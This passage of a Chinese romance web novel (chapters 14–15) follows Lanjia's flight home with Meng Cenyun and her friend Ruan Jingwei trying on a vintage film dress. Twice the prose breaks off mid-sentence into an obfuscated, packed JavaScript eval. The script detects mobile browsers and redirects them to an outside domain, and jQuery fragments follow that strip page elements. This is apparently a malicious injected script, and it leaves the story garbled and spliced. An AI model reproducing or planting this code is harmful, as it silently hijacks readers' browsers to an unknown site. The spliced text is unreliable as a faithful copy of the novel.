繁华璀璨的漓江则是更为广阔的天地,每个人身上都披着华丽而坚硬的外皮,虽然同住屋檐下,可她与孟岑筠却横亘着无数的条条框框。 天际还残存最后一丝微光,兰嘉望向他被夕阳映得柔和的面庞,心里惆怅。 一切又会变得不一样。 14. 晨昏线 从休斯顿机场飞漓江,十几小时旅程。 兰嘉不想下飞机后又要辛苦倒时差,决定硬撑着回家再睡,正好将之前囤积的电影一口气看完。 她与孟岑筠各忙各的事,一开始互不干扰,倒也相安无事。 但耐不住井水偏要犯河水,时间长了,电影也开始枯燥乏味,兰嘉看着对面认真工作的人,顿时心痒难耐,忍不住闹腾他一番。 “哥,你看这么长时间电脑屏幕,眼睛不会累吗?”兰嘉两手托腮,盯他。 孟岑筠不理她。 她胜负欲上来,不懈追问:“哥,你眼镜度数多少,是新配的吗?怎么没见你戴过这款?” 孟岑筠眼皮都不抬一下。 兰嘉咬紧后槽牙,忍耐,两条细眉撇下来,目光忧虑:“哥,你伤口好些了吗?还疼不疼?” 孟岑筠这才纡尊降贵地扫她一眼,知道她不是真心的,伸手合上电脑,起身走了。 兰嘉切了一声,没趣。 飞了六小时,孟岑筠决定休息了。 兰嘉趁他去洗漱,将他搁在桌上的一副金丝边眼镜拿起来把玩。什么老古董款式?别人戴上是斯文败类,一倜风流,到他这里是古板学究,高岭之花。 有什么了不起的?整天蹙眉冷对,紧绷着脸,到老来皱纹也比别人多三分。 兰嘉又偷偷看了眼,见他没出来,做贼似的拿起眼镜试戴,谁知刚架上去便滑溜下来,不信邪,一根手指向上推,反反复复,像极了小孩偷穿大人衣服,不伦不类的滑稽。她这才发现,孟岑筠的眼镜是没有鼻托的,全靠鼻梁撑起。 摸摸自己不怎么挺拔的鼻子,兰嘉嗤笑一声,不感兴趣地将这古董道具搁置一边。 沙发床放下来,孟岑筠要入睡了。没有人可以讲话,兰嘉陷入了漫长的无聊。 大约十小时,飞越晨昏线,远远望去,天际升起粉霞光,温柔地晕染着,兰嘉嘴里抿着一颗糖,心想,太阳也像一颗甜滋滋的香橙糖。 她坐在桌前呆看了一会儿,下意识想到孟岑筠,兴冲冲挪到他床边,想叫他起来看日出。 “哥。”她轻轻推他。 没动静。 只见他戴着一只深蓝眼罩,露出下半张冷瓷般的脸,唇色粉淡,先前咬破的伤口已经结痂了,突兀的一点褚色。 鬼使神差,兰嘉伸出食指在他嘴唇上点了点,心想,他都三十多岁了,应该不是初吻了吧?谁知道他从前在国外念书时交过几个女友,他从来不向她谈起感情生活。 这样想来,好像是她比较亏。 简直亏大发了。 兰嘉一肚子闷气,决定不叫他了。 飞行快十五小时,即将在漓江的机场降落,因为时差,现在是凌晨。 兰嘉一路强撑,快三十小时没合眼,此刻已经困得眼冒金星。 夜风微凉,吹不散她倦意,兰嘉拖着疲软身躯下楼梯,差点一脚踏空。 孟岑筠眼疾手快地拉住她,沉声斥责她不看路。 兰嘉满不在乎地“哦”了声,知道他不会不管她,像只才学会直立行走的小动物,一步一个脚印地跟在他身后。 回家的车一早就等着了,是司机陈叔来接,兰嘉困倦地支起眼皮,向他打招呼。 陈叔笑眯眯地回应,心里却想:这两个人一回来,估计又是两天一小吵,三天一大吵了。 窝进车厢,更是浑身的骨头都软了,所幸陈叔将车开得稳稳当当,一点晃动也没,兰嘉像烂泥一样瘫坐着,闭上眼睛不吱声了。 路虽平缓,但架不住她爱乱动,半梦半醒之间脑袋发沉,一头磕在车窗玻璃上。 这声闷响将另外两个人都惊动,孟岑筠见她还没醒来的意思,无奈,只好伸手将她捞回来。 兰嘉咕哝一声,整个人又倒过来,在他肩膀上找到支撑点,脸颊蹭了蹭,倚靠着不动了。 怕她再东倒西歪,孟岑筠也向她靠近了点,一只手按着她发顶,将她圈在臂弯里。 光线明灭,陈叔从后视镜里瞥见二人依偎着的身影,露出会心笑意。 兰嘉对这一切都一概不知,枕在孟岑筠身上,睡得天昏地暗。 到了家,孟岑筠轻唤她一声:“兰嘉?” 只听见她轻浅的呼吸声。 开了车门,他将这尊睡神小心翼翼抱出来,往屋里走。 管家明姨出来迎接,看了眼孟岑筠怀里软趴趴的兰嘉,溺爱地笑了笑:“睡着了?” 孟岑筠“嗯”了声,交代她明日饮食做清淡些,兰嘉伤口正在恢复期,又估计她睡到午后才肯起,嘱咐别忘记提醒她吃药,向前走了几步,又不放心地回头叮嘱一句,别让她到处乱跑。 明姨笑着,一一应下了。 一路抱着她回到卧室,才算卸下负担,孟岑筠将她的鞋袜脱下来,替她盖好被子。 熟悉的房间,熟悉的气味,熟悉的质地,沾了床的兰嘉如鱼得水,轻车熟路地往大床另一侧滚去,四肢紧紧缠绕着那只棕色大熊,酣然入梦。 孟岑筠站在原地看了她一会儿,想到昨天清晨,原来是把他当作玩具熊了? 夜色朦胧,他拎走兰嘉的鞋子,轻声关上门出去了。 不出他所料,第二天的兰嘉果真睡到晌午才醒。 她混乱地坐在被窝里,只觉得梦中的轿车开了一夜,不知道自己是怎样回家的。 手机已经弹出许多信息,最上方是乔子穆,八点时发了一条消息,十分钟前又发了几条消息,问她是否醒来,晚上要不要一起去她最爱的那家法餐厅? 兰嘉想宅家一天,回绝了,但又怕他失落,表示下次再约。 洗漱,下楼,厨房已经运作起来,咕噜噜沸腾,香气四溢。 厨子在流理台摆盘,明姨站在灶台前,亲自照料一盅补汤的火候。 兰嘉玩心大起,从背后伸出两只胳膊搂住她,撒娇:“今天的菜好素色,明姨,我们家改吃斋饭了吗?” “还不是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阮静薇是兰嘉在大学时认识的好友,两人是同级,都念的戏服设计,也都家住漓江,学校华人圈子小,两人也便很快熟识,志趣相投地玩到一起去。 这是她第一次来兰嘉家里,略有些拘谨地四处打量着。 卧室非常大,法式风格装潢,色彩柔和,搭配相宜,东西却摆放得很多,大多是有来头的艺术藏品。 阮静薇注意到床头摆放的花瓶,明净的鹅黄色,是她前不久在拍卖会新闻里看见的玉壶春瓶,现在却被人随手插上一支积木兰花,再看自己坐着的沙发,粉嫩的藕色,丝绒质地,也是她曾在某个名贵家具展览里见过的样式。 刚认识时,猜测过兰嘉家境不错,也不是没好奇过,但她向来对家庭背景绝口不提,找了些熟人渠道,也没能查到过什么有用的信息,像是被人刻意抹去了所有资料。 其实兰嘉给她地址时,她就隐隐察觉到异样,安枫路九号,寸土寸金里的金字塔尖,非富即贵里的屈指可数。现在真到了这里,却觉得像是走进一座神秘奇瑰的宫殿,处处令她不安。 她本以为和她会很有共同话题,现在骤然感受到巨大的心理落差,连带着对兰嘉的亲近感也退却三分。 兰嘉走出来,见她神色拘束而怪异,不免多想: 莫非孟岑筠又暗中干涉她交友了? 15. 芭蕾舞鞋(含入v公告) 好不容易交到一个同龄的女性朋友,兰嘉怎么肯轻易放手,于是过分热情起来,略带几分讨好意味。 “静薇,快来看喜不喜欢。”兰嘉将手中礼物盒递给她,引她立在一面落地镜前,“旅行时看到,觉得特别适合你,整个店里唯独只有一对,我就立刻买下来了!” 阮静薇抿出一个笑,道谢,打开手中小盒子,只见是一对墨绿耳环,温润而细长的水滴形,看上去是碧玺材质,通透无暇。 “和你裙子也好配,”兰嘉由衷夸赞,“戴上试试。” 阮静薇在她期待目光下,拈起耳环在耳朵上比了比,戴上,有些羞涩地问:“好不好看?” 两人一齐坐在地毯上,认真看着镜中的彼此,那么近,却像是在看另一个自己。兰嘉一手揽住她肩膀,注视那耳坠闪烁在她乌黑的发丝间,若隐若现,光泽幽绿。 静薇身上有种她无法企及的,沉静娴雅的美。 孟岑筠总嫌她从小闹腾到大,惹他头疼,兰嘉本性难移,但也好奇于别人幽娴的美,渐渐痴迷上了心中描摹的模糊剪影。 她对阮静薇,大概有种你有我无的心理映射,自己做不到的,就要在别人身上更加极致地体现出来。她爱打扮阮静薇,她喜欢她衣着美丽的样子,从前在学校时,每当有了新作品,她总是第一个请她过来试穿。兰嘉常说,静薇是她的灵感缪斯。 此刻,阮静薇也忍不住悄悄打量兰嘉,巴掌大的小脸亲昵地搁在她肩头,一双眼弯成月牙,带着些许迷恋的笑意,像是造物主看待自己最完美的作品。 其实她人很好,对她也很好,挑不出任何错,方才来她家,佣人们都对她客客气气,对兰嘉更是一派溺爱与纵容,她有如此家世,看起来又那样受宠,一同念书,还担忧过她总是一副天真姿态,以后要吃亏,如今看来,是她多虑,将来自有宠她的人为她兜底。 反观她在家中地位,父亲和继母永远只关注弟弟,母亲也已经再嫁,无暇顾及她,偏偏弟弟也被惯得混不吝,向来以同她争抢取乐,偌大一个家,没人帮着她,没人向着她,日复一日,将她磋磨成透明人。 她又看了眼兰嘉,神色复杂,略有羡意。她那样好,是阳光下一捧无忧无虑的小雏菊,可离她越近,她却越觉得惶恐。太阳的光线太耀眼,也是会灼伤人的。 兰嘉只顾沉浸在阮静薇的美貌中,全然没注意到她思潮起伏,忽然又想起什么,拍拍静薇肩膀,“你等我。”说罢又兴冲冲跑进衣帽间。 不多时,拎着一条黑裙子出来。 “蒙哥马利?”纵使隔着一层防尘袋,阮静薇还是一眼认出。她也是这部爱情电影的忠实粉丝。 “真是电影里的那条?”她表情实在讶异。 兰嘉点头,迫不及待要与她分享心爱,“静薇,你快换上试试,腰围四码,你一定能穿。” 阮静薇下意识推拒,“兰嘉,这太贵重了。”古董裙脆弱,她怕弄坏了。 “没事,反正又没花我的钱,你小心些就好。”她半开玩笑说道:“要是弄坏了,大不了我再复刻一条,反正原版在这儿,依葫芦画瓢总不难吧。” 阮静薇也喜欢这条裙子许久,闻言心中松动,但还是犹疑地问一句:“是很重要的人送你的吗?让我先穿是不是不太好?” 兰嘉撇撇嘴,“我哥送的。” “你哥对你真好。”她言语中有些感喟。 “他也就只有这点好了。”在物质方面倒是从不吝啬。 兰嘉干笑两声,似乎不愿再提,催促她:“静薇,你快去,我正好想看看上身效果如何。” 阮静薇总算应了。 兰嘉在沙发上坐等,偶然收到消息提示,她打开对话框,见熟悉的雪山头像发来一条信息:“晚餐不回来。” 这头像,还是好几年前她去瑞士旅行时拍的风景照,兰嘉嫌弃他从前那头像太古板,随手给他换掉了,没想到他一直用到现在。 往上滑动,她与孟岑筠的对话实在少得可怜,清一色的:不回来、别忘记吃药、记得晚上门禁,偶尔一两句威胁:别让我见不到你人影,否则你知道后果…… 诸如此类,寡淡无味。 兰嘉本想像从前那样随手回个表情,但一想到那个计划,心念一动,改了主意。 PIONE集团总部大楼,孟岑筠正按照惯例召开午后会议,在国外耽搁这几天,公司积压的事务还等着他一一处理,估计这几天都晚归。 各部门主管正在依次汇报工作进度,高坐上首的孟岑筠靠着椅背,手指轻轻敲击桌面,没过多久,手机便响起提示音。略等了两分钟,他才查看信息,只见对话框里发来一张照片。 飞机上,天际的粉色日出,一颗棒棒糖正好挡在太阳的位置。 他点开看了,随手按下保存。 抬头继续听财务部门工作汇报。 不到片刻,提示音又响。 这次是人像照,是在他熟睡时拍的,飞机沙发床上,他正戴着眼罩入眠,一只手伸进屏幕内,大胆地在他头上伸出两指,作V字状,像是某种动物的角。 孟岑筠面无表情地放大看了,默默点了保存。 兰嘉紧盯着对话框,却大半天没等到回复,她暗自窃喜,估计他又是视而不见了,类似这样小小的冒犯,以后还得再频繁一些,她就是要烦着他,让他对她主动避而远之。 衣帽间里的阮静薇已经换好裙子,但她还不急着出去,而是好奇地打量着兰嘉的衣橱。 整个衣帽间的开间与进深非常宽阔,两侧柜子到顶,分门别类地悬挂着四季衣物,少数是顶级奢牌的当季新款,更多的看不出品牌标签,但款式简约,剪裁得体,估计是私人订制。包包和饰品尤其多,她认出好几个已经绝版的古董款,被专人打理得很好,不染尘埃地陈列在玻璃展柜中。 她几乎没有见兰嘉穿戴过这些,在学校时,兰嘉的生活可以算是低调简朴,穿着自己裁的朴素衣物,背着自己做的帆布包跑来跑去。现在让她窥见这水下冰山,不免滋味难辨,认识这么久,她好像一点也不了解易兰嘉。而她,是不是也从未想过要对她坦诚? 她到底,有没有将她当作好朋友看待? 黑裙曳地,阮静薇心事重重,缓步走出去。 兰嘉正瘫坐在床尾凳上,半边身子黏着床,百无聊赖地在几个软件中反复横跳。随意抬起眼皮,见到面前身影,怔愣半晌,才直立起身子,呆呆了夸了句:“你好美……” 阮静薇无所适从地提着裙摆,抿唇笑笑:“起先还怕撑坏,没想到穿上后倒有些松。” “欧美女演员骨架大,静薇,你太瘦。”兰嘉笑盈盈地站起身,“我看看。” 她绕到她身后,用手比了比腰围,还有盈余。这裙子大片露背设计,后背几根细细的绑带交错,缀着几枚小小的黑色蝴蝶结装饰,性感中多了几分纯稚。 左看右看,职业病发,忍不住上手将纠缠在一起的绑带整理好。 阮静薇定在原地,感受到两只柔软的手在她背后动作,温热的指尖时不时擦过她背部皮肤,引起一阵阵涟漪般的痒意。 她身体越紧绷,那触感就越敏锐,深刻地印在她脑海中。好像很少有人这样妥帖地对待她,也很少有人满心满眼地注视她。 阮静薇渐渐感触起来,像怕惊扰了什么似的,低声道:“兰嘉,未来你一定会成为伟大的戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868458|176043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服设计师。” 兰嘉开怀笑道:“那静薇,你的梦想是什么呢?” 她沉默半晌,言语中苦涩:“梦想不是人人都配有的。” 兰嘉诧异:“那你将来怎么过?” “大概结了婚,成为搁在家中的一尊花瓶,可以什么都不做,却什么用处也没有。”她眼睛酸涩,缓了缓又道:“最近几年,家里的生意一直不太好,我爸他们动了让我嫁人的心思,最近已经在给我物色联姻对象。” “就这样和你不喜欢的,甚至是陌生人过一生,你真的甘愿?” “兰嘉,你不明白,我没有别的选择。” “因为责任?因为他们养育了你,你就要牺牲自己一生的幸福去回报他们?” 阮静薇手指紧攥,其实这个家庭并没有给她带来多少温暖,但她身边大多数人都接受了这样的安排,也一如即往地维持了从前优渥的生活,她又凭什么能成为例外呢? “联姻对象,说不定是个适合我的人呢?日子久了,两个人总会生出一点真感情来。”她没什么大志向,从来只想要偏安一隅,在自己的小家中过好安逸悠闲的生活。 “人海茫茫,这概率也太小了吧,把人生交给赌运,风险未免太大。静薇,命运要掌握在自己手中才最安心。”兰嘉在她身后不赞同地摇摇头。 她这番话,虽是推心置腹,可听在阮静薇耳朵里,却是另一番滋味。阮静薇当即就起了轻微反感,心想:她当然有理想主义的自由,不缺钱不缺爱,从出生起便不谙世事到大的温室花,怎么会懂得她的难处? 但虽然这样想了,却不能表露出来,她对她实在好得没话说,只要不是兰嘉单方面,她是极不愿意让这段关系产生裂痕的。 或许也有点怕,怕她认为她是那样心胸狭隘,敏感多思的人。 兰嘉见她避而不谈,也不好再多说些什么,她人命运,她无力干涉,只提点两句,盼着她能早日想清楚,自由是靠自己争取来的。 恰好有敲门声,彻底剪断这一茬谈话, 是明姨,端着一叠切好的果盘过来。 见两人靠得近,一同站在镜子前,身高相差无几,同样的体型纤细,同样的乌发雪肤。 兰嘉转过身来,笑得甜:“明姨,晚上我要留静薇吃饭,你让厨房多做几道小甜点。” “不是总嚷嚷着怕胖,现在怎么主动犯了禁?”兰嘉嗜甜,之前吃得牙疼病犯,心惊胆战地看了好几次牙医,所幸没大碍。孟岑筠知道后,严格管控家里做甜品的频率,弄得她整日怨声载道。 “今天高兴嘛,放肆一回。”兰嘉嘿嘿一笑。 明姨没戳穿她小心思,关切地问静薇,问她有无忌口。 阮静薇对她笑笑,道谢,表示自己不挑。 明姨见她脸孔,又不免多看了两眼,越看越觉得两个人像,眉毛、鼻子、脸庞轮廓,简直双胞胎似的。 当然,这只是静态。若是动起来,则会发现两人有显著不同。兰嘉心思松快,好与不好都写在脸上,若高兴时,讲起话来更是神采飞扬,而这位阮小姐,眉眼中却蕴藏着几分沉郁,心事很重的样子。 可刚才,光看背影,着实令她迷惑。若不是衣着差异,乍看之间,实在难以分辨二人。 明姨想了想,还是不准备多嘴提这一句,毕竟没有哪个女孩子希望自己被人提醒,自己与另一个同性相似。 晚上十点,孟岑筠应酬完回家,见玄关处整齐摆放着一双女士平底鞋,黑色,类似芭蕾舞鞋款式。听兰嘉提过,貌似是当下深受年轻女孩子喜欢的品牌,但应该是上一季的了,几个月前见兰嘉穿过一次。 “家里有客人?”他问明姨。